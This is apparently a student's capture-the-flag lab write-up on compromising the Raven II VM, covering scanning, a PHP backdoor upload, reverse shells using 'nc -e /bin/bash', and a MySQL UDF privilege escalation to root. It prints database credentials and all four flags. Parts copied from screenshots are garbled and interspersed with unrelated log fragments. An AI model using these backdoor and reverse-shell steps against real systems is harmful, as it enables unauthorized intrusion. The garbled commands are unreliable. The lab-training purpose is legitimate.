

# Activity File: Attacking Target 2 (Optional)

Please note, **attacking Target 2 is not required**. It is included as an additional challenge if you are interested in assessing a more complex web application. Before attempting this challenge, make sure you complete the Wireshark analysis.

Target 2 exposes the same WordPress site as Target 1, but with better security hardening. Therefore, it must be exploited differently than Target 1.

The steps for completing this assessment are enumerated below. All details required to capture the first three flags on Target 2 are included.

## Instructions

Target 2's IP Address: 192.168.1.115

1. Use Nmap to identify the IP address of Target 2.
2. Use Nmap to document all exposed ports and services at this IP address.

```
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
[ssh-hostkey:
 | 1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
 | 2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
 | 256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
 | 256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version  port/proto  service
|   100000  2,3,4    111/tcp    rpcbind
|   100000  2,3,4    111/udp   rpcbind
|   100000  3,4     111/tcp6   rpcbind
|   100000  3,4     111/udp6  rpcbind
|   100024  1       37249/tcp6  status
|   100024  1       37895/udp  status
|   100024  1       53548/udp6 status
|   100024  1       54985/tcp   status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.2.14-Debian (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:11 (Microsoft)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: TARGET2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

3. Enumerate the web server with nikto.

- **Hint:** Run: nikto -C all -h <URL>

```

root@Kali:~# nikto -C all -h 192.168.1.115
- Nikto v2.1.6
-----
+ Target IP:      192.168.1.115
+ Target Hostname: 192.168.1.115
+ Target Port:    80
+ Start Time:    2021-11-20 09:24:27 (GMT-8)
-----
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server may leak inodes via ETags, header found with file /, inode: 41b3, size: 5734482bdcb00, mtime : gzip
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting ...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting ...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 26523 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:      2021-11-20 09:25:54 (GMT-8) (87 seconds)
-----

```

- **Note:** This creates a list of URLs the Target HTTP server exposes. What kind of website is this VM running? **Apache 2.4.10 (Debian)**
4. Perform a more in-depth enumeration with gobuster.

```

root@Kali:~/Downloads# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir -u 192.168.1.115
=====
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:  2 root  http://192.168.1.115 Test+Found
[+] Method:  PUT   GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
=====
2021/11/20 09:57:20 Starting gobuster in directory enumeration mode
=====
/img          (Status: 301) [Size: 312] [→ http://192.168.1.115/img/]
/css          (Status: 301) [Size: 312] [→ http://192.168.1.115/css/]
/wordpress    (Status: 301) [Size: 318] [→ http://192.168.1.115/wordpress/]
/manual       (Status: 301) [Size: 315] [→ http://192.168.1.115/manual/]
/js           (Status: 301) [Size: 311] [→ http://192.168.1.115/js/]
/vendor       (Status: 301) [Size: 315] [→ http://192.168.1.115/vendor/]
/fonts        (Status: 301) [Size: 314] [→ http://192.168.1.115/fonts/]
/server-status (Status: 403) [Size: 301]
=====
2021/11/20 09:58:13 Finished
=====  shu-share_src
=====
```

- Hint
    - Install gobuster using apt
    - Run gobuster -w /path/to/wordlist dir -u <URL>
    - Use /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt as your wordlist (-w).
    - Pay attention to the /vendor directory. There may be a flag in there...
- `/var/www/html/vendor/  
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}`

5. Use searchsploit to find any known vulnerabilities associated with the programs found in Step #4. **Hint:** Run searchsploit -h
6. Use the provided script exploit.sh to exploit this vulnerability by opening an Ncat connection to your Kali VM.
  - Edit the line at the top of the script that sets the TARGET variable. Set it equal to the IP address of Target 2.
  - Run the script. It uploads a file called backdoor.php to the target server. This file can be used to execute command injection attacks.
  - Navigate to: `http://<Target 2 URL>/backdoor.php?cmd=<CMD>`
    - This allows you to run bash commands on Target 2.
    - For example, try: `http://<Target 2 URL>/backdoor.php?cmd=cat%20/etc/passwd`
  - Next, use the backdoor to open a shell session on the target.
    - On your **Kali** VM, start a netcat listener: `nc -lvp 4444`
    - In the browser, use the backdoor to run: `nc <Kali IP> 4444 -e /bin/bash`. For example, your query string will look like `cmd=nc%20<Kali IP>%204444%20-e%20/bin/bash`.
7. Using the shell you've opened on Target 2, find a flag in `/var/www`.

```
root@Kali:~/Downloads# nc -lvp 4444
listening on [any] 4444 ...
192.168.1.115: inverse host lookup failed: Unknown host
connect to [192.168.1.90] from (UNKNOWN) [192.168.1.115] 40749
cd /var/www
ls 37433578/raven.local 02110 >>> 02110 >>> This is a MIME-encapsulated
file. Content-Type: text/
flag2.txt >>> from www-data@localhost 02110 >>> 02110 >>>
html
cat flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337} 02110 >>> ----- Transcript of session -----
[Unbalanced] 02110 >>> ... while talking to [127.0.0.1]: 02110 >
02110 >>> 550 5.1.1 blah"@badguy.com... User unknown 02110
```

8. Next, find a flag in the WordPress uploads directory.

```
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png  
/var/www/flag2.txt
```

- Hint: Use the find command: find /var/www -type f -iname 'flag\*'
- 9. If you find all three flags -- congratulations! There is a fourth, but escalating to root is extremely difficult: For now, move on to completing a report about Target 2.
  - Seeing flag3 was a .png we traveled to the file via the web browser and found the flag



## Flag 4

Remembered we used mySQL for the first attack and checked the credentials and wp-config.php

```
// ** MySQL settings - You can get this info from your web host ** //  
/** The name of the database for WordPress */  
define('DB_NAME', 'wordpress');  
  
/** MySQL database username */  
define('DB_USER', 'root');  
  
/** MySQL database password */  
define('DB_PASSWORD', 'R@v3nSecurity');  
  
/** MySQL hostname */  
define('DB_HOST', 'localhost');
```

```
mysql -V  
mysql Ver 14.14 Distrib 5.5.60, for debian-linux-gnu (x86_64) using readline 6.3
```

I did a TON of Googling for mySQL 5.5 exploits. I started looking specifically for privilege escalation and found this:

**EXPLOIT DATABASE**

MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)

EDB-ID:	CVE:	Author:	Type:	Platform:	Date:
1518	N/A	MARCO IVALDI	LOCAL	LINUX	2006-02-20

EDB Verified: ✓      Exploit: ✎ / { }      Vulnerable App:

« »

Used searchsploit to find the 1518.c exploit. Used apache2 (In -s <direct path> /var/www/html) to host the 1518.c file from metasploit (idea from: <https://null-byte.wonderhowto.com/how-to/perform-local-privilege-escalation-using-linux-kernel-exploit-0186317/>). Used wget to get the file into the victim machine. Cat'd 1518.c (on attacker machine) and followed the directions.

```

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target2:/tmp$ gcc -g -c www-data_udf2.c
gcc: error: www-data_udf2.c: No such file or directory
gcc: fatal error: no input files
compilation terminated.
www-data@target2:/tmp$ gcc -g -c -fPIC raptor_udf2.c
gcc: error: raptor_udf2.c: No such file or directory
gcc: fatal error: no input files
compilation terminated.
www-data@target2:/tmp$ ls
? 1518.o 40679.sh 411.c ponies
1518.c 37167.c 411 mysql-privesc-race.c tryagain
www-data@target2:/tmp$ gcc -g -c 1518.c
gcc: warning: -fPIC ignored for static object
www-data@target2:/tmp$ gcc -g shared -Wl,-soname,1518.so -o 1518.so -lc
www-data@target2:/tmp$ ./1518.so -lc
/usr/bin/ld: 1518.o: relocation R_A6P_04_Pc2 against undefined symbol `system@GLIBC_2.2.5' can not be used when making a shared object
collect2: error: ld returned 1 exit status
www-data@target2:/tmp$ gcc -g -c -fPIC 1518.c
gcc: warning: -fPIC ignored for static object
www-data@target2:/tmp$ ls
1518.o 40679.sh 411.c ponies
1518.c 37167.c 411 mysql-privesc-race.c tryagain
www-data@target2:/tmp$ gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
www-data@target2:/tmp$ ./1518.so -lc
User
mess
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
2021-11-21 10:59:38+00:00] [Note] [MY-S-1] [File-MTA] [Info] [raven.local] [02110] >>> Content-Type: message/rfc822
[...]
* Enter password: [REDACTED]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));

```

ml-lab-2752a229-a813-4874-9e91-783eeb6704b6.eastus.cloudapp.azure.com:49716 - Remote Desktop

Kali on ML-REFVM-884427 - Virtual Machine Connection

Mozilla Firefox Shell No.1 Shell No.1 01:35 PM

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 43

Server version: 5.5.60-0+deb8u1 (Debian)

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Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

```
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with `--skip-name-resolve`.
```

Database changed

```
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.04 sec)

mysql> insert into foo values(load_file('/tmp/1518.so'));
Query OK, 1 row affected (0.02 sec)

mysql> select * from foo into dumpfile '/usr/lib/1518.so';
Query OK, 1 row affected (0.01 sec)

mysql> create function do_system returns integer soname '1518.so';
create function do_system returns integer soname '1518.so';
ERROR 1126 (HY000): Can't open shared library '1518.so': (errno: 0 /usr/lib/mysql/plugin/1518.so: cannot open shared object file: No such file or directory)
mysql> 
```

User: raptor\_udf2@localhost

```
* mysql> use mysql;
* mysql> create table fooLine(blob);
* mysql> insert into fooLine values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from fooLine;
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from fooLine;
* | name   | ret  | dl          | type   |
* | name   | ret  | dl          | type   |
```

After this, I wasn't sure what the next steps would be so I tried something I saw in a video ([https://www.youtube.com/watch?v=FQMdshxwZ9I&ab\\_channel=Sector.Z3R0](https://www.youtube.com/watch?v=FQMdshxwZ9I&ab_channel=Sector.Z3R0)) where the guy used ncat to get escalated privileges through another listener window



I got in as root but couldn't find the right flag. I got booted out of connection, then messed up the mySQL and got booted out of that connection as well. After 5+ hours, I think this is the closest I'm getting.

Until the next day!!!! Also, interactive shells are your friend `python -c 'import pty; pty.spawn("/bin/bash")'`

ml-lab-2752a229-a813-4974-9e91-783eeb6704b6.eastus.cloudapp.azure.com:49771 - Remote Desktop

```
Kali on ML-REFVM-584427 - Virtual Machine Connection
File Action Media Clipboard View Help
Mozilla Firefox Shell No.1 Shell No.1 04:15 PM
Recycle Bin
Google Chrome
Kubana
Visual Studio Code
Hyper-V Manager

File Actions Edit View Help
Shell No.1
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
    return(0);
}

// milw0rm.com [2006-02-28]root@Kali:~#
root@Kali:~# root@Kali:~# nc -lvpn 1337
listening on [any] 1337 ...
connect to [192.168.1.90] from (UNKNOWN) [192.168.1.115] 57632
whoami
root
root@Kali:~# python -c "import pty;pty.spawn('/bin/bash')"
root@target2:/var/lib/mysql# cd /root
cd /root
bash: cd: /root: No such file or directory
root@target2:/var/lib/mysql# cd /root
cd /root
root@target2:/root# ls
ls
flag4.txt
root@target2:/root# █

File Actions Edit View Help
Shell No.1
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(blob);
create table foo(blob);
ERROR 1050 (42S01): Table 'foo' already exists
mysql> select do_system('nc 192.168.1.90 1337 -e /bin/bash');
select do_system('nc 192.168.1.90 1337 -e /bin/bash');
█
```

mi-lab-2752a229-a813-4974-9691-73eefb6704b6.cloudapp.azure.com:49716 - Remote Desktop

Kali on ML-REFVM-634427 - Virtual Machine Connection

[Mozilla Firefox] Shell No.1 Shell No.1 04:16 PM

File Actions Edit View Help

```
cd /root
bash: cd: /root: No such file or directory
root@target2:/var/lib/mysql# cd /root
root@target2:/root# ls
ls
flag4.txt
root@target2:/root# cat flag4.txt
cat flag4.txt
```

flag4{df2bc5e951d91581467bb9a2a8ff425}

CONGRATULATIONS on successfully rooting RavenII

I hope you enjoyed this second interation of the Raven VM

Hit me up on Twitter and let me know what you thought:

@mccannw / wjmccann.github.io

```
root@target2:/root#
```

File Actions Edit View Help

```
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
```

```
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
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```
Database changed
mysql> create table foo(blob);
create table foo(blob);
ERROR 1050 (42S01): Table 'foo' already exists
mysql> select do_system('nc 192.168.1.90 1337 -e /bin/bash');
select do_system('nc 192.168.1.90 1337 -e /bin/bash');
```